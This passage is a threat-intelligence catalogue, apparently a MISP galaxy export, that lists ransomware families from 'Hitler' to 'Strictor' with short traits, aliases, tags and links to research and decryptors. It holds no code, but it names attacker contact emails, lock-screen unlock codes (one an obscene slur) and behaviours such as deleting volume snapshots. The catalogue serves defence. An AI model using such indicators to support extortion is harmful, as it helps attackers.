http://www.nyxbone.com/malware/hibuddy.html

Hitler

Ransomware Deletes files

The tag is: *misp-galaxy:ransomware="Hitler"*

Table 3228. Table References

Links
http://www.bleepingcomputer.com/news/security/development-version-of-the-hitler-ransomware-discovered/
https://twitter.com/jiriatvirlab/status/825310545800740864

HolyCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="HolyCrypt"*

HolyCrypt has relationships with:

- similar: misp-galaxy:ransomware="Dablio Ransomware" with estimative-language:likelihood-probability="likely"

Table 3229. Table References

Links
http://www.bleepingcomputer.com/news/security/new-python-ransomware-called-holycrypt-discovered/

HTCryptor

Ransomware Includes a feature to disable the victim’s windows firewall Modified in-dev HiddenTear

The tag is: *misp-galaxy:ransomware="HTCryptor"*

Table 3230. Table References

Links
https://twitter.com/BleepinComputer/status/803288396814839808

HydraCrypt

Ransomware CrypBoss Family

The tag is: *misp-galaxy:ransomware="HydraCrypt"*

Table 3231. Table References

Links
https://decrypter.emsisoft.com/
http://www.malware-traffic-analysis.net/2016/02/03/index2.html

iLock

Ransomware

The tag is: *misp-galaxy:ransomware="iLock"*

Table 3232. Table References

Links
https://twitter.com/BleepinComputer/status/817085367144873985

iLockLight

Ransomware

The tag is: *misp-galaxy:ransomware="iLockLight"*

International Police Association

Ransomware CryptoTorLocker2015 variant

The tag is: *misp-galaxy:ransomware="International Police Association"*

Table 3233. Table References

Links
http://download.bleepingcomputer.com/Nathan/StopPirates_Decrypter.exe

iRansom

Ransomware

The tag is: *misp-galaxy:ransomware="iRansom"*

Table 3234. Table References

Links
https://twitter.com/demonslay335/status/796134264744083460

JagerDecryptor

Ransomware Prepends filenames

The tag is: *misp-galaxy:ransomware="JagerDecryptor"*

Table 3235. Table References

Links
https://twitter.com/JakubKroustek/status/757873976047697920

Jeiphoos

Ransomware Windows, Linux. Campaign stopped. Actor claimed he deleted the master key.

The tag is: *misp-galaxy:ransomware="Jeiphoos"*

Jeiphoos is also known as:

- Encryptor RaaS
- Sarento

Table 3236. Table References

Links
http://www.nyxbone.com/malware/RaaS.html
http://blog.trendmicro.com/trendlabs-security-intelligence/the-rise-and-fall-of-encryptor-raas/

Jhon Woddy

Ransomware Same codebase as DNRansomware Lock screen password is M3VZ>5BwGGVH

The tag is: *misp-galaxy:ransomware="Jhon Woddy"*

Table 3237. Table References

Links
https://download.bleepingcomputer.com/demonslay335/DoNotOpenDecrypter.zip
https://twitter.com/BleepinComputer/status/822509105487245317

Jigsaw

Ransomware Has a GUI

The tag is: *misp-galaxy:ransomware="Jigsaw"*

Jigsaw is also known as:

- CryptoHitMan

Jigsaw has relationships with:

- similar: misp-galaxy:malpedia="Jigsaw" with estimative-language:likelihood-probability="likely"

Table 3238. Table References

Links
http://www.bleepingcomputer.com/news/security/jigsaw-ransomware-decrypted-will-delete-your-files-until-you-pay-the-ransom/
https://www.helpnetsecurity.com/2016/04/20/jigsaw-crypto-ransomware/
https://twitter.com/demonslay335/status/795819556166139905

Job Crypter

Ransomware Based on HiddenTear, but uses TripleDES, decrypter is PoC

The tag is: *misp-galaxy:ransomware="Job Crypter"*

Table 3239. Table References

Links
http://www.nyxbone.com/malware/jobcrypter.html
http://forum.malekal.com/jobcrypter-geniesanstravaille-extension-locked-crypto-ransomware-t54381.html
https://twitter.com/malwrhunterteam/status/828914052973858816

JohnyCryptor

Ransomware

The tag is: *misp-galaxy:ransomware="JohnyCryptor"*

KawaiiLocker

Ransomware

The tag is: *misp-galaxy:ransomware="KawaiiLocker"*

Table 3240. Table References

Links
https://safezone.cc/resources/kawaii-decryptor.195/

KeRanger

Ransomware OS X Ransomware

The tag is: *misp-galaxy:ransomware="KeRanger"*

KeRanger has relationships with:

- similar: misp-galaxy:malpedia="KeRanger" with estimative-language:likelihood-probability="likely"

Table 3241. Table References

Links
http://news.drweb.com/show/?i=9877&lng=en&c=5
http://www.welivesecurity.com/2016/03/07/new-mac-ransomware-appears-keranger-spread-via-transmission-app/

KeyBTC

Ransomware

The tag is: *misp-galaxy:ransomware="KeyBTC"*

Table 3242. Table References

Links
https://decrypter.emsisoft.com/

KEYHolder

Ransomware via remote attacker. tuyuljahat@hotmail.com contact address

The tag is: *misp-galaxy:ransomware="KEYHolder"*

Table 3243. Table References

Links
http://www.bleepingcomputer.com/forums/t/559463/keyholder-ransomware-support-and-help-topic-how-decryptgifhow-decrypthtml

KillerLocker

Ransomware Possibly Portuguese dev

The tag is: *misp-galaxy:ransomware="KillerLocker"*

Table 3244. Table References

Links

https://twitter.com/malwrhunterteam/status/782232299840634881

KimcilWare

Ransomware websites only

The tag is: *misp-galaxy:ransomware="KimcilWare"*

Table 3245. Table References

Links
https://blog.fortinet.com/post/kimcilware-ransomware-how-to-decrypt-encrypted-files-and-who-is-behind-it
http://www.bleepingcomputer.com/news/security/the-kimcilware-ransomware-targets-web-sites-running-the-magento-platform/

Korean

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="Korean"*

Table 3246. Table References

Links
http://www.nyxbone.com/malware/koreanRansom.html

Kozy.Jozy

Ransomware Potential Kit selectedkozy.jozy@yahoo.com kozy.jozy@yahoo.com unlock92@india.com

The tag is: *misp-galaxy:ransomware="Kozy.Jozy"*

Kozy.Jozy is also known as:

- QC

Table 3247. Table References

Links
http://www.nyxbone.com/malware/KozyJozy.html
http://www.bleepingcomputer.com/forums/t/617802/kozyjozy-ransomware-help-support-wjpg-31392e30362e32303136-num-lsbj1/

KratosCrypt

Ransomware kratosdimetrici@gmail.com

The tag is: *misp-galaxy:ransomware="KratosCrypt"*

Table 3248. Table References

Links
https://twitter.com/demonslay335/status/746090483722686465

KryptoLocker

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="KryptoLocker"*

LanRan

Ransomware Variant of open-source MyLittleRansomware

The tag is: *misp-galaxy:ransomware="LanRan"*

Table 3249. Table References

Links
https://twitter.com/struppigel/status/847689644854595584

LeChiffre

Ransomware Encrypts first 0x2000 and last 0x2000 bytes. Via remote attacker

The tag is: *misp-galaxy:ransomware="LeChiffre"*

Table 3250. Table References

Links
https://decrypter.emsisoft.com/lechiffre
https://blog.malwarebytes.org/threat-analysis/2016/01/lechiffre-a-manually-run-ransomware/

Lick

Ransomware Variant of Kirk

The tag is: *misp-galaxy:ransomware="Lick"*

Table 3251. Table References

Links
https://twitter.com/JakubKroustek/status/842404866614038529

Linux.Encoder

Ransomware Linux Ransomware

The tag is: *misp-galaxy:ransomware="Linux.Encoder"*

Linux.Encoder is also known as:

- Linux.Encoder.{0,3}

Table 3252. Table References

Links
https://labs.bitdefender.com/2015/11/linux-ransomware-debut-fails-on-predictable-encryption-key/

LK Encryption

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="LK Encryption"*

Table 3253. Table References

Links
https://twitter.com/malwrhunterteam/status/845183290873044994

LLTP Locker

Ransomware Targeting Spanish speaking victims

The tag is: *misp-galaxy:ransomware="LLTP Locker"*

Table 3254. Table References

Links
https://www.bleepingcomputer.com/news/security/new-lltp-ransomware-appears-to-be-a-rewritten-venus-locker/

Locker

Ransomware has GUI

The tag is: *misp-galaxy:ransomware="Locker"*

Table 3255. Table References

Links
http://www.bleepingcomputer.com/forums/t/577246/locker-ransomware-support-and-help-topic/page-32#entry3721545

LockLock

Ransomware

The tag is: *misp-galaxy:ransomware="LockLock"*

Table 3256. Table References

Links
https://www.bleepingcomputer.com/forums/t/626750/locklock-ransomware-locklock-help-support/

Locky

Ransomware Affiliations with Dridex and Necurs botnets

The tag is: *misp-galaxy:ransomware="Locky"*

Locky has relationships with:

- similar: misp-galaxy:malpedia="Locky" with estimative-language:likelihood-probability="likely"

Table 3257. Table References

Links
http://www.bleepingcomputer.com/news/security/new-locky-version-adds-the-zepto-extension-to-encrypted-files/
http://blog.trendmicro.com/trendlabs-security-intelligence/new-locky-ransomware-spotted-in-the-brazilian-underground-market-uses-windows-script-files/
https://nakedsecurity.sophos.com/2016/10/06/odin-ransomware-takes-over-from-zepto-and-locky/
https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-egyptian-mythology-with-the-osiris-extension/

Lortok

Ransomware

The tag is: *misp-galaxy:ransomware="Lortok"*

LowLevel04

Ransomware Prepends filenames

The tag is: *misp-galaxy:ransomware="LowLevel04"*

M4N1F3STO

Ransomware Does not encrypt Unlock code=suckmydicknigga

The tag is: *misp-galaxy:ransomware="M4N1F3STO"*

Table 3258. Table References

Links
https://twitter.com/jiriatvirlab/status/808015275367002113

Mabouia

Ransomware OS X ransomware (PoC)

The tag is: *misp-galaxy:ransomware="Mabouia"*

MacAndChess

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MacAndChess"*

Magic

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="Magic"*

MaktubLocker

Ransomware

The tag is: *misp-galaxy:ransomware="MaktubLocker"*

Table 3259. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/03/maktub-locker-beautiful-and-dangerous/

MarsJoke

Ransomware

The tag is: *misp-galaxy:ransomware="MarsJoke"*

Table 3260. Table References

Links
https://securelist.ru/blog/issledovaniya/29376/polyglot-the-fake-ctb-locker/
https://www.proofpoint.com/us/threat-insight/post/MarsJoke-Ransomware-Mimics-CTB-Locker

Meister

Ransomware Targeting French victims

The tag is: *misp-galaxy:ransomware="Meister"*

Table 3261. Table References

Links
https://twitter.com/siri_urz/status/840913419024945152

Meteoritan

Ransomware

The tag is: *misp-galaxy:ransomware="Meteoritan"*

Table 3262. Table References

Links
https://twitter.com/malwrhunterteam/status/844614889620561924

MIRCOP

Ransomware Prepends files Demands 48.48 BTC

The tag is: *misp-galaxy:ransomware="MIRCOP"*

MIRCOP is also known as:

- Crypt888

Table 3263. Table References

Links
http://www.bleepingcomputer.com/forums/t/618457/microcop-ransomware-help-support-lock-mircop/
https://www.avast.com/ransomware-decryption-tools#!
http://blog.trendmicro.com/trendlabs-security-intelligence/instruction-less-ransomware-mircop-channels-guy-fawkes/
http://www.nyxbone.com/malware/Mircop.html

MireWare

Ransomware Based on HiddenTear

The tag is: *misp-galaxy:ransomware="MireWare"*

Mischa

Ransomware Packaged with Petya PDFBewerbungsmappe.exe

The tag is: *misp-galaxy:ransomware="Mischa"*

Mischa is also known as:

- "Petya’s little brother"

Table 3264. Table References

Links
http://www.bleepingcomputer.com/news/security/petya-is-back-and-with-a-friend-named-mischa-ransomware/

MM Locker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="MM Locker"*

MM Locker is also known as:

- Booyah

MM Locker has relationships with:

- similar: misp-galaxy:ransomware="Booyah" with estimative-language:likelihood-probability="likely"

Table 3265. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransomware-explosion-continues-cryptflle2-brlock-mm-locker-discovered

Mobef

Ransomware

The tag is: *misp-galaxy:ransomware="Mobef"*

Mobef is also known as:

- Yakes
- CryptoBit

Mobef has relationships with:

- similar: misp-galaxy:ransomware="CryptoBit" with estimative-language:likelihood-

probability="likely"

Table 3266. Table References

Links
http://nyxbone.com/malware/Mobef.html
http://researchcenter.paloaltonetworks.com/2016/07/unit42-cryptobit-another-ransomware-family-gets-an-update/
http://nyxbone.com/images/articulos/malware/mobef/0.png

Monument

Ransomware Use the DarkLocker 5 porn screenlocker - Jigsaw variant

The tag is: *misp-galaxy:ransomware="Monument"*

Table 3267. Table References

Links
https://twitter.com/malwrhunterteam/status/844826339186135040

N-Splitter

Ransomware Russian Koolova Variant

The tag is: *misp-galaxy:ransomware="N-Splitter"*

Table 3268. Table References

Links
https://twitter.com/JakubKroustek/status/815961663644008448
https://www.youtube.com/watch?v=dAVMgX8Zti4&feature=youtu.be&list=UU_TMZYaLIgjsdJMwurHAi4Q

n1n1n1

Ransomware Filemaker: "333333333333"

The tag is: *misp-galaxy:ransomware="n1n1n1"*

Table 3269. Table References

Links
https://twitter.com/demonslay335/status/790608484303712256
https://twitter.com/demonslay335/status/831891344897482754

NanoLocker

Ransomware no extension change, has a GUI

The tag is: *misp-galaxy:ransomware="NanoLocker"*

NanoLocker has relationships with:

- similar: misp-galaxy:malpedia="NanoLocker" with estimative-language:likelihood-probability="likely"

Table 3270. Table References

Links
http://github.com/Cyberclues/nanolocker-decryptor

Nemucod

Ransomware 7zip (a0.exe) variant cannot be decrypted Encrypts the first 2048 Bytes

The tag is: *misp-galaxy:ransomware="Nemucod"*

Table 3271. Table References

Links
https://decrypter.emsisoft.com/nemucod
https://github.com/Antelox/NemucodFR
http://www.bleepingcomputer.com/news/security/decryptor-released-for-the-nemucod-trojans-crypted-ransomware/
https://blog.cisecurity.org/malware-analysis-report-nemucod-ransomware/

Netix

Ransomware

The tag is: *misp-galaxy:ransomware="Netix"*

Netix is also known as:

- RANSOM_NETIX.A

Table 3272. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/netflix-scam-delivers-ransomware/

Nhtnwcuf

Ransomware Does not encrypt the files / Files are destroyed

The tag is: *misp-galaxy:ransomware="Nhtnwcuf"*

Table 3273. Table References

Links
https://twitter.com/demonslay335/status/839221457360195589

NMoreira

Ransomware

The tag is: *misp-galaxy:ransomware="NMoreira"*

NMoreira is also known as:

- XRatTeam
- XPan

Table 3274. Table References

Links
https://decrypter.emsisoft.com/nmoreira
https://twitter.com/fwosar/status/803682662481174528

NoobCrypt

Ransomware

The tag is: *misp-galaxy:ransomware="NoobCrypt"*

Table 3275. Table References

Links
https://twitter.com/JakubKroustek/status/757267550346641408
https://www.bleepingcomputer.com/news/security/noobcrypt-ransomware-dev-shows-noobness-by-using-same-password-for-everyone/

Nuke

Ransomware

The tag is: *misp-galaxy:ransomware="Nuke"*

Nullbyte

Ransomware

The tag is: *misp-galaxy:ransomware="Nullbyte"*

Table 3276. Table References

Links
https://download.bleepingcomputer.com/demonslay335/NullByteDecrypter.zip
https://www.bleepingcomputer.com/news/security/the-nullbyte-ransomware-pretends-to-be-the-necrobot-pokemon-go-application/

ODCODC

Ransomware

The tag is: *misp-galaxy:ransomware="ODCODC"*

Table 3277. Table References

Links
http://download.bleepingcomputer.com/BloodDolly/ODCODCDecoder.zip
http://www.nyxbone.com/malware/odcodc.html
https://twitter.com/PolarToffee/status/813762510302183424
http://www.nyxbone.com/images/articulos/malware/odcodc/1c.png

Offline ransomware

Ransomware email addresses overlap with .777 addresses

The tag is: *misp-galaxy:ransomware="Offline ransomware"*

Offline ransomware is also known as:

- Vipasana
- Cryakl

Offline ransomware has relationships with:

- similar: misp-galaxy:ransomware="Cryakl" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Cryakl" with estimative-language:likelihood-probability="likely"

Table 3278. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547
http://bartblaze.blogspot.com.co/2016/02/vipasana-ransomware-new-ransom-on-block.html

OMG! Ransomware

Ransomware

The tag is: *misp-galaxy:ransomware="OMG! Ransomware"*

OMG! Ransomware is also known as:

- GPCode

OMG! Ransomware has relationships with:

- similar: misp-galaxy:malpedia="GPCode" with estimative-language:likelihood-probability="likely"

Operation Global III

Ransomware Is a file infector (virus)

The tag is: *misp-galaxy:ransomware="Operation Global III"*

Table 3279. Table References

Links
http://news.thewindowsclub.com/operation-global-iii-ransomware-decryption-tool-released-70341/

Owl

Ransomware

The tag is: *misp-galaxy:ransomware="Owl"*

Owl is also known as:

- CryptoWire

Owl has relationships with:

- similar: misp-galaxy:malpedia="CryptoWire" with estimative-language:likelihood-probability="likely"

Table 3280. Table References

Links
https://twitter.com/JakubKroustek/status/842342996775448576

PadCrypt

Ransomware has a live support chat

The tag is: *misp-galaxy:ransomware="PadCrypt"*

PadCrypt has relationships with:

- similar: misp-galaxy:malpedia="PadCrypt" with estimative-language:likelihood-probability="likely"

Table 3281. Table References

Links
http://www.bleepingcomputer.com/news/security/padcrypt-the-first-ransomware-with-live-support-chat-and-an-uninstaller/
https://twitter.com/malwrhunterteam/status/798141978810732544

Padlock Screenlocker

Ransomware Unlock code is: ajVr/G\ RJz0R

The tag is: *misp-galaxy:ransomware="Padlock Screenlocker"*

Table 3282. Table References

Links
https://twitter.com/BleepinComputer/status/811635075158839296

Patcher

Ransomware Targeting macOS users

The tag is: *misp-galaxy:ransomware="Patcher"*

Patcher has relationships with:

- similar: misp-galaxy:ransomware="FileCoder" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Patcher" with estimative-language:likelihood-probability="likely"

Table 3283. Table References

Links
https://blog.malwarebytes.com/cybercrime/2017/02/decrypting-after-a-findzip-ransomware-infection/
https://www.bleepingcomputer.com/news/security/new-macos-patcher-ransomware-locks-data-for-good-no-way-to-recover-your-files/

Petya

Ransomware encrypts disk partitions PDFBewerbungsmappe.exe

The tag is: *misp-galaxy:ransomware="Petya"*

Petya is also known as:

- Goldeneye

Petya has relationships with:

- similar: misp-galaxy:malpedia="Petya" with estimative-language:likelihood-probability="likely"

Table 3284. Table References

Links
http://www.thewindowsclub.com/petya-ransomware-decrypt-tool-password-generator
https://www.youtube.com/watch?v=mSqxFjZq_z4
https://blog.malwarebytes.org/threat-analysis/2016/04/petya-ransomware/
https://www.bleepingcomputer.com/news/security/petya-ransomware-returns-with-goldeneye-version-continuing-james-bond-theme/

Philadelphia

Ransomware Coded by "The_Rainmaker"

The tag is: *misp-galaxy:ransomware="Philadelphia"*

Table 3285. Table References

Links
https://decrypter.emsisoft.com/philadelphia
www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/[www.bleepingcomputer.com/news/security/the-philadelphia-ransomware-offers-a-mercy-button-for-compassionate-criminals/]

PizzaCrypts

Ransomware

The tag is: *misp-galaxy:ransomware="PizzaCrypts"*

Table 3286. Table References

Links
http://download.bleepingcomputer.com/BloodDolly/JuicyLemonDecoder.zip

PokemonGO

Ransomware Based on Hidden Tear

The tag is: *misp-galaxy:ransomware="PokemonGO"*

Table 3287. Table References

Links
http://www.nyxbone.com/malware/pokemonGO.html
http://www.bleepingcomputer.com/news/security/pokemongo-ransomware-installs-backdoor-accounts-and-spreads-to-other-drives/

Polyglot

Ransomware Immitates CTB-Locker

The tag is: *misp-galaxy:ransomware="Polyglot"*

Polyglot has relationships with:

- similar: misp-galaxy:malpedia="Polyglot" with estimative-language:likelihood-probability="likely"

Table 3288. Table References

Links
https://support.kaspersky.com/8547
https://securelist.com/blog/research/76182/polyglot-the-fake-ctb-locker/

PowerWare

Ransomware Open-sourced PowerShell

The tag is: *misp-galaxy:ransomware="PowerWare"*

PowerWare is also known as:

- PoshCoder

PowerWare has relationships with:

- similar: misp-galaxy:malpedia="PowerWare" with estimative-language:likelihood-probability="likely"

Table 3289. Table References

Links
https://github.com/pan-unit42/public_tools/blob/master/powerware/powerware_decrypt.py
https://download.bleepingcomputer.com/demonslay335/PowerLockyDecrypter.zip
https://www.carbonblack.com/2016/03/25/threat-alert-powerware-new-ransomware-written-in-powershell-targets-organizations-via-microsoft-word/
http://researchcenter.paloaltonetworks.com/2016/07/unit42-powerware-ransomware-spoofing-locky-malware-family/

PowerWorm

Ransomware no decryption possible, throws key away, destroys the files

The tag is: *misp-galaxy:ransomware="PowerWorm"*

Princess Locker

Ransomware

The tag is: *misp-galaxy:ransomware="Princess Locker"*

Table 3290. Table References

Links
https://hshrzd.wordpress.com/2016/11/17/princess-locker-decryptor/
https://www.bleepingcomputer.com/news/security/introducing-her-royal-highness-the-princess-locker-ransomware/
https://blog.malwarebytes.com/threat-analysis/2016/11/princess-ransomware/

PRISM

Ransomware

The tag is: *misp-galaxy:ransomware="PRISM"*

Table 3291. Table References

Links
http://www.enigmasoftware.com/prismyourcomputerhasbeenlockedransomware-removal/

Ps2exe

Ransomware

The tag is: *misp-galaxy:ransomware="Ps2exe"*

Table 3292. Table References

Links
https://twitter.com/jiriatvirlab/status/803297700175286273

R

Ransomware

The tag is: *misp-galaxy:ransomware="R"*

Table 3293. Table References

Links
https://twitter.com/malwrhunterteam/status/846705481741733892

R980

Ransomware

The tag is: *misp-galaxy:ransomware="R980"*

Table 3294. Table References

Links
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/

RAA encryptor

Ransomware Possible affiliation with Pony

The tag is: *misp-galaxy:ransomware="RAA encryptor"*

RAA encryptor is also known as:

- RAA

Table 3295. Table References

Links
https://reaqta.com/2016/06/raa-ransomware-delivering-pony/
http://www.bleepingcomputer.com/news/security/the-new-raa-ransomware-is-created-entirely-using-javascript/

Rabion

Ransomware RaaS Copy of Ranion RaaS

The tag is: *misp-galaxy:ransomware="Rabion"*

Table 3296. Table References

Links
https://twitter.com/CryptoInsane/status/846181140025282561

Radamant

Ransomware

The tag is: *misp-galaxy:ransomware="Radamant"*

Radamant has relationships with:

- similar: misp-galaxy:malpedia="Radamant" with estimative-language:likelihood-probability="likely"

Table 3297. Table References

Links
https://decrypter.emsisoft.com/radamant
http://www.bleepingcomputer.com/news/security/new-radamant-ransomware-kit-adds-rdm-extension-to-encrypted-files/
http://www.nyxbone.com/malware/radamant.html

Rakhni

Ransomware Files might be partially encrypted

The tag is: *misp-galaxy:ransomware="Rakhni"*

Rakhni is also known as:

- Agent.iih
- Aura
- Autoit
- Pletor
- Rotor
- Lamer
- Isda
- Cryptokluchen
- Bandarchor

Rakhni has relationships with:

- similar: misp-galaxy:ransomware="Bandarchor" with estimative-language:likelihood-probability="likely"

Table 3298. Table References

Links
https://support.kaspersky.com/us/viruses/disinfection/10556

Ramsomeer

Ransomware Based on the DUMB ransomware

The tag is: *misp-galaxy:ransomware="Ramsomeer"*

Rannoh

Ransomware

The tag is: *misp-galaxy:ransomware="Rannoh"*

Table 3299. Table References

Links
https://support.kaspersky.com/viruses/disinfection/8547

RanRan

Ransomware

The tag is: *misp-galaxy:ransomware="RanRan"*

Table 3300. Table References

Links
https://github.com/pan-unit42/public_tools/tree/master/ranran_decryption
http://researchcenter.paloaltonetworks.com/2017/03/unit42-targeted-ransomware-attacks-middle-eastern-government-organizations-political-purposes/
https://www.bleepingcomputer.com/news/security/new-ranran-ransomware-uses-encryption-tiers-political-messages/

Ransoc

Ransomware Doesn’t encrypt user files

The tag is: *misp-galaxy:ransomware="Ransoc"*

Ransoc has relationships with:

- similar: misp-galaxy:malpedia="Ransoc" with estimative-language:likelihood-probability="likely"

Table 3301. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles
https://www.bleepingcomputer.com/news/security/ransoc-ransomware-extorts-users-who-accessed-questionable-content/

Ransom32

Ransomware no extension change, Javascript Ransomware

The tag is: *misp-galaxy:ransomware="Ransom32"*

RansomLock

Ransomware Locks the desktop

The tag is: *misp-galaxy:ransomware="RansomLock"*

Table 3302. Table References

Links
https://www.symantec.com/security_response/writeup.jsp?docid=2009-041513-1400-99&tabid=2

RarVault

Ransomware

The tag is: *misp-galaxy:ransomware="RarVault"*

Razy

Ransomware

The tag is: *misp-galaxy:ransomware="Razy"*

Table 3303. Table References

Links
http://www.nyxbone.com/malware/Razy(German).html
http://nyxbone.com/malware/Razy.html

Rector

Ransomware

The tag is: *misp-galaxy:ransomware="Rector"*

Table 3304. Table References

Links
https://support.kaspersky.com/viruses/disinfection/4264

RektLocker

Ransomware

The tag is: *misp-galaxy:ransomware="RektLocker"*

Table 3305. Table References

Links
https://support.kaspersky.com/viruses/disinfection/4264

RemindMe

Ransomware

The tag is: *misp-galaxy:ransomware="RemindMe"*

Table 3306. Table References

Links
http://www.nyxbone.com/malware/RemindMe.html
http://i.imgur.com/gV6i5SN.jpg

Rokku

Ransomware possibly related with Chimera

The tag is: *misp-galaxy:ransomware="Rokku"*

Rokku has relationships with:

- similar: misp-galaxy:malpedia="Rokku" with estimative-language:likelihood-probability="likely"

Table 3307. Table References

Links
https://blog.malwarebytes.org/threat-analysis/2016/04/rokku-ransomware/

RoshaLock

Ransomware Stores your files in a password protected RAR file

The tag is: *misp-galaxy:ransomware="RoshaLock"*

Table 3308. Table References

Links
https://twitter.com/siri_urz/status/842452104279134209

Runsomewere

Ransomware Based on HT/EDA2 Utilizes the Jigsaw Ransomware background

The tag is: *misp-galaxy:ransomware="Runsomewere"*

Table 3309. Table References

Links
https://twitter.com/struppigel/status/801812325657440256

RussianRoulette

Ransomware Variant of the Philadelphia ransomware

The tag is: *misp-galaxy:ransomware="RussianRoulette"*

Table 3310. Table References

Links
https://twitter.com/struppigel/status/823925410392080385

SADStory

Ransomware Variant of CryPy

The tag is: *misp-galaxy:ransomware="SADStory"*

Table 3311. Table References

Links
https://twitter.com/malwrhunterteam/status/845356853039190016

Sage 2.2

Ransomware Sage 2.2 deletes volume snapshots through vssadmin.exe, disables startup repair, uses process wscript.exe to execute a VBScript, and coordinates the execution of scheduled tasks via schtasks.exe.

The tag is: *misp-galaxy:ransomware="Sage 2.2"*

Table 3312. Table References

Links
https://malwarebreakdown.com/2017/03/16/sage-2-2-ransomware-from-good-man-gate
https://malwarebreakdown.com/2017/03/10/finding-a-good-man/

Samas-Samsam

Ransomware Targeted attacks -Jexboss -PSExec -Hyena

The tag is: *misp-galaxy:ransomware="Samas-Samsam"*

Samas-Samsam is also known as:

- samsam.exe

- MIKOPONI.exe
- RikiRafael.exe
- showmehowto.exe
- SamSam Ransomware
- SamSam
- Samsam

Samas-Samsam has relationships with:

- similar: misp-galaxy:malpedia="SamSam" with estimative-language:likelihood-probability="likely"

Table 3313. Table References

Links
https://download.bleepingcomputer.com/demonslay335/SamSamStringDecrypter.zip
http://blog.talosintel.com/2016/03/samsam-ransomware.html
http://www.intelsecurity.com/advanced-threat-research/content/Analysis_SamSa_Ransomware.pdf
https://www.bleepingcomputer.com/news/security/new-samsam-variant-requires-special-password-before-infection/
https://www.bleepingcomputer.com/news/security/samsam-ransomware-crew-made-nearly-6-million-from-ransom-payments/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-The-Almost-Six-Million-Dollar-Ransomware.pdf

Sanction

Ransomware Based on HiddenTear, but heavily modified keygen

The tag is: *misp-galaxy:ransomware="Sanction"*

Sanctions

Ransomware

The tag is: *misp-galaxy:ransomware="Sanctions"*

Table 3314. Table References

Links
https://www.bleepingcomputer.com/news/security/sanctions-ransomware-makes-fun-of-usa-sanctions-against-russia/

Sardoninir

Ransomware

The tag is: *misp-galaxy:ransomware="Sardoninir"*

Table 3315. Table References

Links
https://twitter.com/BleepinComputer/status/835955409953357825

Satana

Ransomware

The tag is: *misp-galaxy:ransomware="Satana"*

Satana has relationships with:

- similar: misp-galaxy:malpedia="Satana" with estimative-language:likelihood-probability="likely"

Table 3316. Table References

Links
https://blog.malwarebytes.com/threat-analysis/2016/06/satana-ransomware/
https://blog.kaspersky.com/satana-ransomware/12558/

Scraper

Ransomware

The tag is: *misp-galaxy:ransomware="Scraper"*

Table 3317. Table References

Links
http://securelist.com/blog/research/69481/a-flawed-ransomware-encryptor/

Serpico

Ransomware DetoxCrypto Variant

The tag is: *misp-galaxy:ransomware="Serpico"*

Serpico has relationships with:

- similar: misp-galaxy:malpedia="Serpico" with estimative-language:likelihood-probability="likely"

Table 3318. Table References

Links
http://www.nyxbone.com/malware/Serpico.html

Shark

Ransomware

The tag is: *misp-galaxy:ransomware="Shark"*

Shark is also known as:

- Atom

Shark has relationships with:

- similar: misp-galaxy:rat="SharK" with estimative-language:likelihood-probability="likely"

Table 3319. Table References

Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/
http://www.bleepingcomputer.com/news/security/shark-ransomware-rebrands-as-atom-for-a-fresh-start/

ShinoLocker

Ransomware

The tag is: *misp-galaxy:ransomware="ShinoLocker"*

Table 3320. Table References

Links
https://twitter.com/JakubKroustek/status/760560147131408384
http://www.bleepingcomputer.com/news/security/new-educational-shinolocker-ransomware-project-released/

Shujin

Ransomware

The tag is: *misp-galaxy:ransomware="Shujin"*

Shujin is also known as:

- KinCrypt

Shujin has relationships with:

- similar: misp-galaxy:malpedia="Shujin" with estimative-language:likelihood-probability="likely"

Table 3321. Table References

Links
http://www.nyxbone.com/malware/chineseRansom.html
http://blog.trendmicro.com/trendlabs-security-intelligence/chinese-language-ransomware-makes-appearance/

Simple_Encoder

Ransomware

The tag is: *misp-galaxy:ransomware="Simple_Encoder"*

Table 3322. Table References

Links
http://www.bleepingcomputer.com/news/security/the-shark-ransomware-project-allows-to-create-your-own-customized-ransomware/

SkidLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="SkidLocker"*

SkidLocker is also known as:

- Pompous

Table 3323. Table References

Links
http://www.bleepingcomputer.com/news/security/pompous-ransomware-dev-gets-defeated-by-backdoor/
http://www.nyxbone.com/malware/SkidLocker.html

Smash!

Ransomware

The tag is: *misp-galaxy:ransomware="Smash!"*

Table 3324. Table References

Links

https://www.bleepingcomputer.com/news/security/smash-ransomware-is-cute-rather-than-dangerous/

Smrss32

Ransomware

The tag is: *misp-galaxy:ransomware="Smrss32"*

SNSLocker

Ransomware Based on EDA2

The tag is: *misp-galaxy:ransomware="SNSLocker"*

Table 3325. Table References

Links
http://nyxbone.com/malware/SNSLocker.html
http://nyxbone.com/images/articulos/malware/snslocker/16.png

Sport

Ransomware

The tag is: *misp-galaxy:ransomware="Sport"*

Stampado

Ransomware Coded by "The_Rainmaker" Randomly deletes a file every 6hrs up to 96hrs then deletes decryption key

The tag is: *misp-galaxy:ransomware="Stampado"*

Table 3326. Table References

Links
https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221
http://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/
https://decrypter.emsisoft.com/stampado
https://cdn.streamable.com/video/mp4/kfh3.mp4
http://blog.trendmicro.com/trendlabs-security-intelligence/the-economics-behind-ransomware-prices/

Strictor

